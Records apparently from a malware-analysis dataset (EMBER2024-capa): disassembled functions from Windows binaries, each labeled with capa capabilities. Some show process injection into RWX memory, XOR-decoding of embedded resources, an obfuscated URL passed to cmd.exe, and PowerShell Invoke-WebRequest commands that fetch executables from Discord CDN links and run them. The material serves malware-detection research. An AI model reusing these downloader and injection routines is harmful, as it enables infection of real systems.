joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002bf70
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x140079048]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rbx, rcx
xor esi, esi
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbx + 0xe0]
test rcx, rcx
je 0x14002bfbc
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rbx + 0xa0]
xor edx, edx
mov ecx, 0xc3a
call qword [0x14007c250]
mov qword [rbx + 0xe0], rax
lea rcx, [rbx + 0x60]
call fcn.140032830
mov dword [rbp - 0x29], esi
mov dword [rbp - 0x39], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x14002c05b
lea rdx, [rbp - 0x39]
mov rcx, qword [rbx + 0xe0]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x14002c05b
mov eax, dword [rbp - 0x39]
cmp dword [rbp - 0x29], eax
je 0x14002c05b
lea r8, [0x14007c480]
cmp qword [0x14007c498], 8
cmovae r8, qword [0x14007c480]
lea rdx, [0x14007c6c0]
cmp qword [0x14007c6d8], 8
cmovae rdx, qword [0x14007c6c0]
xor ecx, ecx
lea r9d, [rcx + 0x10]
call qword [sym.imp.USER32.dll_MessageBoxW]
xor al, al
jmp 0x14002c11a
cmp qword [rbx + 0xe0], rsi
jne 0x14002c118
lea rdx, [0x14007c660]
lea rcx, [rbp - 9]
call fcn.140013250
lea rdx, [0x14007c480]
lea rcx, [rbp + 0x17]
call fcn.140013250
mov dword [rbp + 0x37], 0x10
mov ecx, 0x48
call fcn.140035964
mov rbx, rax
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x39], rax
lea rdx, [rbp - 9]
mov rcx, rax
call fcn.140013250
nop
lea rcx, [rbx + 0x20]
lea rdx, [rbp + 0x17]
call fcn.140013250
mov ecx, dword [rbp + 0x37]
mov dword [rbx + 0x40], ecx
mov qword [rbp - 0x29], rbx
lea rax, [rbp - 0x11]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
mov r9, rbx
lea r8, [0x14001b4c0]
xor edx, edx
xor ecx, ecx
call fcn.140040978
mov qword [rbp - 0x19], rax
test rax, rax
je 0x14002c13f
lea rcx, [rbp - 9]
call fcn.140016710
cmp dword [rbp - 0x11], 0
je 0x14002c14d
movaps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x29]
call fcn.140034f0c
test eax, eax
jne 0x14002c14d
jmp 0x14002c11a
mov al, 1
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140035910
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov dword [rbp - 0x11], esi
mov ecx, 6
call fcn.140034e70
nop
mov ecx, 1
call fcn.140034e70
int3
Function at 0x140032cf0
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x140079048]
xor rax, rsp
mov qword [rsp + 0x88], rax
xor edi, edi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], r8
mov r9, rdx
xor r8d, r8d
xor edx, edx
mov rcx, qword [rcx + 0x80]
call qword [0x14007c268]
mov rbx, rax
test rax, rax
jne 0x140032e7d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x68]
call fcn.14002c650
nop
lea r8, [0x14007c6a0]
cmp qword [0x14007c6b8], 8
cmovae r8, qword [0x14007c6a0]
mov r9, qword [0x14007c6b0]
mov rcx, rax
call fcn.140007b80
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
lea r8, [0x14007c480]
cmp qword [0x14007c498], 8
cmovae r8, qword [0x14007c480]
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rdx, qword [rsp + 0x48]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x140032e25
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032e20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032ec6
call fcn.140035930
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], di
mov rdx, qword [rsp + 0x80]
cmp rdx, 8
jb 0x140032e79
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032e74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032ec0
call fcn.140035930
xor al, al
jmp 0x140032e9f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140035910
mov rbx, qword [rsp + 0xb8]
add rsp, 0x90
pop rdi
ret
call fcn.14003c384
nop
call fcn.14003c384
nop
int3
Function at 0x140036720
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003676a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003676a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003676a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003676a
cmp dword [rcx + 0x84], 0xe
jbe 0x14003676a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003676c
xor al, al
add rsp, 0x28
ret

Function at 0x1400404ec
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14004037f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004037f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004037f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004037f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004037f
cmp dword [rcx + 0x84], 0xe
jbe 0x14004037f
cmp dword [rcx + 0xf8], 0
je 0x14004037f
mov ecx, ebx
call fcn.140040420
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140040210
cmp dword [rbp + 0x20], 0
je 0x1400403cc
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400403d4
int3
xor r8d, r8d
xor edx, edx
jmp 0x140040318
Function at 0x140057500
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140057528
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140057528
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400013b4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
add rax, 4
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x38]
mov edx, eax
mov rax, qword [rbp + 0x20]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x3c]
mov r8d, eax
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x10]
movzx edx, ax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x30], rax
mov qword [rbp - 8], 0
jmp 0x14000151f
mov rdx, qword [rbp - 8]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x30]
add rax, rdx
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rdx, qword [rbp - 8]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x30]
add rax, rdx
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov rcx, rax
mov rdx, qword [rbp - 8]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x30]
add rax, rdx
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
add qword [rbp - 8], 1
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 2]
movzx eax, ax
cmp qword [rbp - 8], rax
jb 0x140001481
mov rax, qword [rbp + 0x28]
mov rdx, qword [rbp - 0x28]
mov qword [rax], rdx
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x28]
mov edx, eax
mov rax, qword [rbp + 0x30]
mov qword [rax], rdx
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x14000155a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov r8d, 0x84
mov edx, 0x44
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140001643
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x140001646
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LockResource]
call rax
mov rdx, qword [rbp + 0x10]
mov qword [rdx], rax
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
test rax, rax
je 0x140001649
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov rdx, qword [rbp + 0x18]
mov dword [rdx], eax
mov rax, qword [rbp + 0x18]
mov eax, dword [rax]
test eax, eax
je 0x14000164c
mov dword [rbp - 4], 0
jmp 0x140001634
mov rax, qword [rbp + 0x10]
mov rdx, qword [rax]
mov eax, dword [rbp - 4]
cdqe
add rax, rdx
movzx edx, word [rax]
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
mov eax, dword [rbp - 4]
cdqe
add rax, rcx
xor dx, 0x8711
mov word [rax], dx
add dword [rbp - 4], 2
mov rax, qword [rbp + 0x18]
mov eax, dword [rax]
mov edx, dword [rbp - 4]
cmp edx, eax
jb 0x140001607
jmp 0x14000164d
nop
jmp 0x14000164d
nop
jmp 0x14000164d
nop
jmp 0x14000164d
nop
add rsp, 0x40
pop rbp
ret
Function at 0x140001992
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x340
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2d0], rcx
mov dword [rbp + 0x2bc], 0x18
jmp 0x140001a45
mov eax, dword [rbp + 0x2bc]
cdqe
lea rdx, str.http:__M17HG4FzeJ69F5.f_vfquhvnv_fwdhud_vf_lpktud_lj_4_uk_Lpfwjvjcu_Rpkejrv_Tyehud_uw__v_uqpvpvuqdvuhwu___c.mobm.com
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x2b4], eax
mov dword [rbp + 0x2b8], 0
jmp 0x140001a0a
lea rax, [rbp + 0x2b4]
movzx eax, byte [rax]
lea edx, [rax - 2]
lea rax, [rbp + 0x2b4]
mov byte [rax], dl
mov eax, dword [rbp + 0x2b4]
ror eax, 8
mov dword [rbp + 0x2b4], eax
add dword [rbp + 0x2b8], 1
cmp dword [rbp + 0x2b8], 3
jle 0x1400019de
mov eax, dword [rbp + 0x2b4]
xor eax, 0x7070707
mov dword [rbp + 0x2b4], eax
mov eax, dword [rbp + 0x2bc]
cdqe
lea rdx, str.http:__M17HG4FzeJ69F5.f_vfquhvnv_fwdhud_vf_lpktud_lj_4_uk_Lpfwjvjcu_Rpkejrv_Tyehud_uw__v_uqpvpvuqdvuhwu___c.mobm.com
add rdx, rax
mov eax, dword [rbp + 0x2b4]
mov dword [rdx], eax
add dword [rbp + 0x2bc], 4
cmp dword [rbp + 0x2bc], 0x77
jle 0x1400019b8
mov byte [0x140007078], 0
mov rdx, qword [rbp + 0x2d0]
lea rax, [rbp + 0x1b0]
mov r8d, 0x104
mov rcx, rax
call sub.msvcrt.dll_wcstombs
lea rcx, [0x140007018]
lea rdx, [rbp + 0x1b0]
lea rax, [rbp - 0x50]
mov r9, rdx
mov r8, rcx
mov edx, 0x200
mov rcx, rax
mov rax, qword [0x140007150]
call rax
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, [0x140008008]
mov rcx, rax
call fcn.140001360
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
lea r8, str.cmd.exe
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
test rax, rax
sete al
test al, al
je 0x140001afc
mov eax, 0
jmp 0x140001b01
mov eax, 0
add rsp, 0x340
pop rbp
ret
Function at 0x140001dbb
Capabilities:
Create http request

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.140001f1e
mov dword [rbp - 4], 0
mov qword [rbp - 0x10], 0
mov eax, dword [rbp - 4]
mov dword [rsp + 0x20], eax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x10]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x84000000
mov r9d, 0
mov r8d, 0
lea rdx, str.http:__M17HG4FzeJ69F5.f_vfquhvnv_fwdhud_vf_lpktud_lj_4_uk_Lpfwjvjcu_Rpkejrv_Tyehud_uw__v_uqpvpvuqdvuhwu___c.mobm.com
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
je 0x140001e4e
mov eax, 0
jmp 0x140001e54
call fcn.140001b0a
nop
add rsp, 0x50
pop rbp
ret

Function at 0x140002124
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x1400170b8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x1400170b4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140002172
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000216a
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140002259
inc ebx
add rax, 0x28
jmp 0x14000214a
mov rcx, r12
call fcn.140002951
mov rbp, rax
test rax, rax
jne 0x140002191
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1400020c0
movsxd rbx, ebx
mov rax, qword [0x1400170b8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.1400029ff
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400170b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x1400021f3
mov rax, qword [0x1400170b8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400020c0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140002253
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002253
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400170b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002253
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400020c0
inc dword [0x1400170b4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140002680
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x140017120]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140017100]
test rbx, rbx
je 0x1400026cc
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x1400026c6
test eax, eax
jne 0x1400026c6
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x14000269e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002880
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400028a3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x1400028a3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400028a4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x1400028de
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x1400028d5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400028e0
inc r8d
add rax, 0x28
jmp 0x1400028bc
xor eax, eax
ret

Function at 0x140002951
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140008dc0]
mov r8, rcx
mov rcx, r9
call fcn.140002880
test eax, eax
je 0x14000297d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.1400028a4
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400018d0
Capabilities:
Check if file exists
Execute command
Get file attributes
Terminate process

Disassembly:
push rbx
sub rsp, 0x360
mov rax, qword [0x140016020]
xor rax, rsp
mov qword [rsp + 0x350], rax
lea rdx, str.strings2.exe
lea rcx, [rsp + 0x20]
call fcn.1400053d0
cmp qword [rsp + 0x38], 8
lea rcx, [rsp + 0x20]
cmovae rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001920
test al, 0x10
jne 0x140001920
xor bl, bl
jmp 0x140001922
mov bl, 1
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140001967
mov rcx, qword [rsp + 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001962
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001962
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ead8
test bl, bl
je 0x1400019a3
lea r9, str.https:__cdn.discordapp.com_attachments_1170109187947241482_1170109411184873593_strings2.exe_ex6557d84fis6545634fhm896e9892017991c7457f75a6a8c8f947e4122c4ae141c8e75f67a19a17d97f1f
mov edx, 0x184
lea r8, str.powershell__Command__Invoke_WebRequest__Uri__s__OutFile_strings2.exe
lea rcx, [rsp + 0x40]
call fcn.140001080
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
test eax, eax
je 0x1400019a3
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.Digital_Signature_Verifier.exe
lea rcx, [rsp + 0x20]
call fcn.1400053d0
cmp qword [rsp + 0x38], 8
lea rcx, [rsp + 0x20]
cmovae rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400019d8
test al, 0x10
jne 0x1400019d8
xor bl, bl
jmp 0x1400019da
mov bl, 1
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140001a1f
mov rcx, qword [rsp + 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a1a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a1a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ead8
test bl, bl
je 0x140001a5b
lea r9, str.https:__cdn.discordapp.com_attachments_1143635009081712761_1167560314712227850_Digital_Signature_Verifier.exe_ex654e9247is653c1d47hm90e1c12f8c3cf995c17d6a46bd5c60bada8ad9b38e4d8f4a589fa8146411bc79
mov edx, 0x184
lea r8, str.powershell__Command__Invoke_WebRequest__Uri__s__OutFile_Digital_Signature_Verifier.exe
lea rcx, [rsp + 0x40]
call fcn.140001080
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
test eax, eax
je 0x140001a5b
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x350]
xor rcx, rsp
call fcn.14000e7e0
add rsp, 0x360
pop rbx
ret
Function at 0x140003f70
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140003f98
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140003fbe
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140003fc0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140004019
test ecx, ecx
jle 0x140003ff9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140004019
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140004019
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140004040
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140004062
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140004078
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140004094
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140004096
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400040d2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000416e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000410d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000414e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000416e
cmp rbx, rax
ja 0x140004120
test rbx, rbx
je 0x14000416e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret